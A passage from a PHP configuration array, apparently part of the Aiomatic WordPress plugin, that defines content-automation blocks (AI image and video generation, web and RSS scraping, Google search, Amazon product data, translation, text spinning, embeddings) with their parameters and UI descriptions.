'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - AI Content Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Generates AI images using different Dall-E models', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('dalle_image_'), 'parameters' => array( 'prompt' => array( 'type' => 'textarea', 'title' => esc_html__('AI Prompt', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the AI prompt which will be sent to the image generator', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the AI prompt which will be sent to the image generator. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'model' => array( 'type' => 'dalle_image_model_select', 'title' => esc_html__('AI Model', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Set the AI model to be used for the image generator.', 'aiomatic-automatic-ai-content-writer') ), 'image_size' => array( 'type' => 'dalle_image_size_select', 'title' => esc_html__('Image Size', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Set the image size to be used for the image generator.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'stable_ai_image' => [ 'id' => 'stable_ai_image', 'name' => esc_html__('AI Image Stable Diffusion', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - AI Content Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Generates AI images using different Stable Diffusion models', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('stability_image_'), 'parameters' => array( 'prompt' => array( 'type' => 'textarea', 'title' => esc_html__('AI Prompt', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the AI prompt which will be sent to the image generator', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the AI prompt which will be sent to the image generator. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'model' => array( 'type' => 'stable_image_model_select', 'title' => esc_html__('AI Model', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Set the AI model to be used for the image generator.', 'aiomatic-automatic-ai-content-writer') ), 'image_size' => array( 'type' => 'stable_image_size_select', 'title' => esc_html__('Image Size', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Set the image size to be used for the image generator.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'midjourney_ai_image' => [ 'id' => 'midjourney_ai_image', 'name' => esc_html__('AI Image Midjourney', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - AI Content Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Generates AI images using different Midjourney models', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('midjourney_image_'), 'parameters' => array( 'prompt' => array( 'type' => 'textarea', 'title' => esc_html__('AI Prompt', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the AI prompt which will be sent to the image generator', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the AI prompt which will be sent to the image generator. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'image_size' => array( 'type' => 'midjourney_image_size_select', 'title' => esc_html__('Image Size', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Set the image size to be used for the image generator.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'stable_ai_video' => [ 'id' => 'stable_ai_video', 'name' => esc_html__('AI Video Stable Diffusion', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - AI Content Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Generates AI videos using different source images', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('stability_video_'), 'parameters' => array( 'image_url' => array( 'type' => 'url', 'title' => esc_html__('Source Image URL', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the source image URL which will be sent to the video generator', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the source image URL which will be sent to the video generator.', 'aiomatic-automatic-ai-content-writer') ), 'image_size' => array( 'type' => 'stable_video_size_select', 'title' => esc_html__('Image Size', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Set the size of the image which will be sent to the AI video generator. Original images will be resized to the selected image size before sending.', 'aiomatic-automatic-ai-content-writer') ), ) ], 'crawl_sites' => [ 'id' => 'crawl_sites', 'name' => esc_html__('Scrape Sites', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Gathering Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Scrapes data from websites and uses it for content creation', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('scraped_content_', 'scraped_content_plain_'), 'parameters' => array( 'url' => array( 'type' => 'url', 'title' => esc_html__('Scraped URL', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the URL to be scraped for data', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the URL to be scraped for data. You can also add multiple URLs (one on each line), from which a random one will be selected. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'scrape_method' => array( 'type' => 'scraper_select', 'title' => esc_html__('Scraping Method', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the method to be used for scraping. This will affect the %%item_scraped_data%% shortcode.', 'aiomatic-automatic-ai-content-writer') ), 'scrape_selector' => array( 'type' => 'scraper_type', 'title' => esc_html__('Scraping Query Selector', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the query type you want to search for the article full content.', 'aiomatic-automatic-ai-content-writer') ), 'scrape_string' => array( 'type' => 'scraper_string', 'title' => esc_html__('Scraping Query String', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Input the search query for full content searching', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Input the search query for full content searching. This can be the ID or class name you want to search for, the regex expression you want to apply or the XPath/CSS Selector Expression you want to query for. You can also enter a comma separated list of selectors, in this case, the plugin will get the results for all. If you leave this field blank, content will be automatically detected for you. Multiple expressions supported, each on a different line.', 'aiomatic-automatic-ai-content-writer') ), 'strip_tags' => array( 'type' => 'checkbox', 'title' => esc_html__('Strip All HTML Tags', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select if you want to remove all HTML tags from the scraped content and leave only the plain textual content in it.', 'aiomatic-automatic-ai-content-writer') ), 'max_chars' => array( 'type' => 'number', 'title' => esc_html__('Maximum # Of Characters To Keep', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the maximum number of characters to keep from the scraped data', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the maximum number of characters to keep from the scraped data.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'crawl_rss' => [ 'id' => 'crawl_rss', 'name' => esc_html__('Scrape RSS', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Gathering Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Scrapes content from RSS feeds', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('rss_content_'), 'parameters' => array( 'url' => array( 'type' => 'url', 'title' => esc_html__('RSS Feed URL', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the URL of the RSS feed to be scraped for data', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the URL of the RSS feed to be scraped for data. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'template' => array( 'type' => 'textarea', 'title' => esc_html__('Results Template', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '[%%item_counter%%]: %%item_title%% - %%item_description%%', 'placeholder' => esc_html__('Set the template of the resulting string, which will be built after parsing the RSS feed', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the template of the resulting string, which will be built after parsing the RSS feed. You can use the following shortcodes, which will map to the values of each RSS feed item: %%item_counter%%, %%item_title%%, %%item_content%%, %%item_description%%, %%item_url%%, %%item_author%%, %%item_categories%%, %%item_scraped_data%% - the %%item_scraped_data%% shortcode will be usable only if you enable the \'Scrape Links\' feature from below.', 'aiomatic-automatic-ai-content-writer') ), 'max_items' => array( 'type' => 'number', 'title' => esc_html__('Maximum # Of Items To Process', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '10', 'placeholder' => esc_html__('Set the maximum number of items to process', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the maximum number of items to process. This will make the plugin process up to the maximum number of feed items and include them in the final result.', 'aiomatic-automatic-ai-content-writer') ), 'scrape' => array( 'type' => 'checkbox', 'title' => esc_html__('Scrape Links', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Do you want to scrape each link and extract readable content from them? Note that this feature will add the scraped data into the %%item_scraped_data%% variable, be sure to use it in the template above!', 'aiomatic-automatic-ai-content-writer') ), 'scrape_method' => array( 'type' => 'scraper_select', 'title' => esc_html__('Scraping Method', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the method to be used for scraping. This will affect the %%item_scraped_data%% shortcode.', 'aiomatic-automatic-ai-content-writer') ), 'max_chars' => array( 'type' => 'number', 'title' => esc_html__('Maximum # Of Characters To Keep', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the maximum number of characters to keep from the scraped data', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the maximum number of characters to keep from the scraped data.', 'aiomatic-automatic-ai-content-writer') ), 'prompt' => array( 'type' => 'textarea', 'title' => esc_html__('Process Each Result With AI Prompt', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the AI prompt which will be sent to the content writer', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the AI prompt which will be sent to the content writer, to process each result. Additional shortcodes you can use: %%current_item%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported. If you don\'t add the %%current_item%% to the prompt, it will be automatically appended to the end of it.', 'aiomatic-automatic-ai-content-writer') ), 'assistant_id' => array( 'type' => 'assistant_select', 'title' => esc_html__('AI Assistant', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the AI Assistant to be used with the AI writer. If you select an assistant, a model cannot be selected any more, but instead, the model assigned to the assistant will be used.', 'aiomatic-automatic-ai-content-writer') ), 'model' => array( 'type' => 'model_select', 'title' => esc_html__('AI Model', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the model to be used with the AI writer.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'google_search' => [ 'id' => 'google_search', 'name' => esc_html__('Google Search', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Gathering Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Search Google and get search results data', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('search_result_'), 'parameters' => array( 'keyword' => array( 'type' => 'text', 'title' => esc_html__('Keyword', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the keyword for which SERP data is queried', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the keyword for which SERP data is queried. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'locale' => array( 'type' => 'text', 'title' => esc_html__('Search Results Location', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('2 letter country code', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Specifying this parameter should lead to more relevant results for a specific country. This is particularly true for international customers and, even more specifically, for customers in English- speaking countries other than the United States. To restrict search results only to websites located in a specific country, specify this parameter as: countryDE - replace DE with your own 2 letter country code', 'aiomatic-automatic-ai-content-writer') ), 'template' => array( 'type' => 'textarea', 'title' => esc_html__('Results Template', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '[%%item_counter%%]: %%item_title%% - %%item_snippet%%', 'placeholder' => esc_html__('Set the template of the resulting string, which will be built after parsing the search results', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the template of the resulting string, which will be built after parsing the search results. You can use the following shortcodes, which will map to the values of each search results item: %%item_counter%%, %%item_title%%, %%item_snippet%%, %%item_url%%, %%item_scraped_data%% - the %%item_scraped_data%% shortcode will be usable only if you enable the \'Scrape Links\' feature from below.', 'aiomatic-automatic-ai-content-writer') ), 'max_items' => array( 'type' => 'number', 'title' => esc_html__('Maximum # Of Items To Process', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '10', 'placeholder' => esc_html__('Set the maximum number of items to process', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the maximum number of items to process. This will make the plugin process up to the maximum number of search results items and include them in the final result.', 'aiomatic-automatic-ai-content-writer') ), 'scrape' => array( 'type' => 'checkbox', 'title' => esc_html__('Scrape Links', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Do you want to scrape each link and extract readable content from them? Note that this feature will add the scraped data into the %%item_scraped_data%% variable, be sure to use it in the template above!', 'aiomatic-automatic-ai-content-writer') ), 'scrape_method' => array( 'type' => 'scraper_select', 'title' => esc_html__('Scraping Method', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the method to be used for scraping. This will affect the %%item_scraped_data%% shortcode.', 'aiomatic-automatic-ai-content-writer') ), 'max_chars' => array( 'type' => 'number', 'title' => esc_html__('Maximum # Of Characters To Keep', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the maximum number of characters to keep from the scraped data', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the maximum number of characters to keep from the scraped data.', 'aiomatic-automatic-ai-content-writer') ), 'prompt' => array( 'type' => 'textarea', 'title' => esc_html__('Process Each Result With AI Prompt', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the AI prompt which will be sent to the content writer', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the AI prompt which will be sent to the content writer, to process each result. Additional shortcodes you can use: %%current_item%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported. If you don\'t add the %%current_item%% to the prompt, it will be automatically appended to the end of it.', 'aiomatic-automatic-ai-content-writer') ), 'assistant_id' => array( 'type' => 'assistant_select', 'title' => esc_html__('AI Assistant', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the AI Assistant to be used with the AI writer. If you select an assistant, a model cannot be selected any more, but instead, the model assigned to the assistant will be used.', 'aiomatic-automatic-ai-content-writer') ), 'model' => array( 'type' => 'model_select', 'title' => esc_html__('AI Model', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the model to be used with the AI writer.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'youtube_caption' => [ 'id' => 'youtube_caption', 'name' => esc_html__('YouTube Video Caption', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Gathering Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Scrapes the YouTube video captions and uses them for AI content creation', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('video_caption_', 'video_title_', 'video_description_', 'video_thumb_'), 'parameters' => array( 'url' => array( 'type' => 'url', 'title' => esc_html__('YouTube Video URL', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the URL of the YouTube video from which captions will be imported', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the URL of the YouTube video from which captions will be imported.', 'aiomatic-automatic-ai-content-writer') ), 'max_caption' => array( 'type' => 'number', 'title' => esc_html__('Maximum Result Length', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the maximum length in characters of the resulting string', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the maximum length in characters of the resulting string. If the captions are longer than this value, they will shortened.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'amazon_product' => [ 'id' => 'amazon_product', 'name' => esc_html__('Amazon Product Details', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Amazon Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Scrapes product details from Amazon, by ASIN', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => $amazon_shortcodes, 'parameters' => array( 'asin' => array( 'type' => 'text', 'title' => esc_html__('Single Product ASIN or Keyword', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Example: B07RZ74VLR', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Please provide a single ASIN of an Amazon product (ex: B07RZ74VLR).', 'aiomatic-automatic-ai-content-writer') ), 'aff_id' => array( 'type' => 'text', 'title' => esc_html__('Amazon Associate ID', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Insert your Amazon Associate ID', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Insert your Amazon Associate ID (Optional).', 'aiomatic-automatic-ai-content-writer') ), 'target_country' => array( 'type' => 'amazon_country_select', 'title' => esc_html__('Amazon Target Country', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the country where you have registred your affiliate account.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'amazon_listing' => [ 'id' => 'amazon_listing', 'name' => esc_html__('Amazon Product Listing', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Amazon Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Scrapes product listing details from Amazon, by ASIN or keyword', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('product_listing_'), 'parameters' => array( 'asin' => array( 'type' => 'text', 'title' => esc_html__('Product Search Keywords / Product ASIN List', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Example: dog food', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Please provide the a search keyword for Amazon products to be included in the created content. Alternatively, you can provide a comma separated list of product ASINs (ex: B07RZ74VLR,B07RX6FBFR).', 'aiomatic-automatic-ai-content-writer') ), 'aff_id' => array( 'type' => 'text', 'title' => esc_html__('Amazon Associate ID', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Insert your Amazon Associate ID', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Insert your Amazon Associate ID (Optional).', 'aiomatic-automatic-ai-content-writer') ), 'target_country' => array( 'type' => 'amazon_country_select', 'title' => esc_html__('Amazon Target Country', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the country where you have registred your affiliate account.', 'aiomatic-automatic-ai-content-writer') ), 'sort_results' => array( 'type' => 'amazon_sort_select', 'title' => esc_html__('Sort Amazon Results By', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the type of sorting of the returned results.', 'aiomatic-automatic-ai-content-writer') ), 'max_product_count' => array( 'type' => 'text', 'title' => esc_html__('Maximum Number Of Products To Query', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the maximum number of products to add in the product listing', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the maximum number of products to add in the product listing. You can also set a variable number of products, case in which a random number will be selected from the range you specify. Example 5-7', 'aiomatic-automatic-ai-content-writer') ), 'listing_template' => array( 'type' => 'textarea', 'title' => esc_html__('Product Listing Template', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '%%product_counter%%. %%product_title%% - Desciption: %%product_description%% - Link: %%product_url%% - Price: %%product_price%%', 'placeholder' => esc_html__('Set what information do you want to add into each product listing entry', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set what information do you want to add into each product listing entry. You can use the following shortcodes to get data for specific products: %%product_counter%%, %%product_title%%, %%product_description%%, %%product_url%%, %%product_price%%, %%product_list_price%%, %%product_image%%, %%product_cart_url%%, %%product_images_urls%%, %%product_images%%, %%product_reviews%%. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%', 'aiomatic-automatic-ai-content-writer') ) ) ], 'text_translate' => [ 'id' => 'text_translate', 'name' => esc_html__('Text Translator', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Processing Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Translates text using Google Translate/Microsoft Translator/DeepL. To use Microsoft Translator or DeepL, add your API key for these services in the plugin\'s \'Settings\' menu.', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('translated_'), 'parameters' => array( 'input_text' => array( 'type' => 'textarea', 'title' => esc_html__('Text To Be Translated', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Input your text', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Provide the text which needs to be translated.', 'aiomatic-automatic-ai-content-writer') ), 'translate' => array( 'type' => 'language_selector', 'title' => esc_html__('Translate Content To', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Do you want to automatically translate generated content using Google Translate/Microsoft Translator/DeepL to any language?', 'aiomatic-automatic-ai-content-writer') ), 'translate_source' => array( 'type' => 'language_selector', 'title' => esc_html__('Translation Source Language', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the source language of the translation.', 'aiomatic-automatic-ai-content-writer') ), 'second_translate' => array( 'type' => 'language_selector', 'title' => esc_html__('Do Also A Second Translation To', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Do you want to automatically translate generated content a second time, to this final language? In some cases, this can replace word spinning of scraped content. Please note that this can increase the amount of requests made to the translation APIs. This field has no effect if you don\'t set also a first translation language, in the settings field from above.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'text_spinner' => [ 'id' => 'text_spinner', 'name' => esc_html__('Text Spinner', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Processing Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Spins the text and rewrites it, making it unique. For this feature to work, you need to select a text spinner service from the plugin\'s \'Settings\' menu -> \'Bulk Posts\' tab -> \'Spin Text Using Word Synonyms\' settings field.', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('spun_'), 'parameters' => array( 'input_text' => array( 'type' => 'textarea', 'title' => esc_html__('Text To Be Spun', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Input your text', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Provide the text which needs to be spun.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'royalty_image' => [ 'id' => 'royalty_image', 'name' => esc_html__('Royalty Free Image Search', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Media Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Adds a related royalty free images to the content. For this feature to work, you need to select one or multipel royalty free images services from the plugin\'s \'Settings\' menu -> \'Royalty Free Images\' tab.', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('free_image_'), 'parameters' => array( 'input_text' => array( 'type' => 'textarea', 'title' => esc_html__('Image Keyword Search', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the keyword based on which royalty free images will be searched', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the keyword based on which royalty free images will be searched. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'youtube_video' => [ 'id' => 'youtube_video', 'name' => esc_html__('YouTube Video Search', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Media Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Adds a related YouTube video to the content.', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('video_url_', 'video_embed_'), 'parameters' => array( 'input_text' => array( 'type' => 'textarea', 'title' => esc_html__('Video Keyword Search', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the keyword based on which YouTube videos will be searched', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the keyword based on which YouTube videos will be searched. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'embeddings' => [ 'id' => 'embeddings', 'name' => esc_html__('Embeddings Result', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Gathering Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Outputs an embeddings result from the embeddings you have created in the plugin, based on the text input sent to this OmniBlock. Note that for this feature to work, you need to enable embeddings in the plugin and create embeddings texts, which matches the result you are expecting.', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('embeddings_'), 'parameters' => array( 'input_text' => array( 'type' => 'textarea', 'title' => esc_html__('Embeddings Input', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Input your text', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Provide the text which will be used to generate the embeddings result.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'load_file' => [ 'id' => 'load_file', 'name' => esc_html__('Load File Content', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Gathering Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Gathers the content of a single file.', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('file_'), 'parameters' => array( 'input_text' => array( 'type' => 'file_selector', 'title' => esc_html__('File To Load', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the file to load into a shortcode. You can load plain text files or xlsx files. If you load an xlsx file, you can also use the following shortcodes to access xlsx data: %%xlsx_BLOCKID_XLSXROW_XLSXCOLUMN%%, %%xlsx_BLOCKID_column_XLSXCOLUMN%%, %%xlsx_BLOCKID_row_XLSXROW%%, %%xlsx_BLOCKID_row_random%%, %%xlsx_BLOCKID_row_random_check%%', 'aiomatic-automatic-ai-content-writer') ) ) ], 'nlp_entities' => [ 'id' => 'nlp_entities', 'name' => esc_html__('Related NLP Entities - TextRazor', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Gathering Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Using TextRazor API, gets related entities to keywords.', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('entities_', 'entities_details_json_'), 'parameters' => array( 'input_text' => array( 'type' => 'text', 'title' => esc_html__('Entities Search Keywords', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Example: dog food', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Please provide the a search keyword for the related entities search.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'nlp_entities_neuron' => [ 'id' => 'nlp_entities_neuron', 'name' => esc_html__('Related NLP Entities - NeuronWriter', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Gathering Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Using 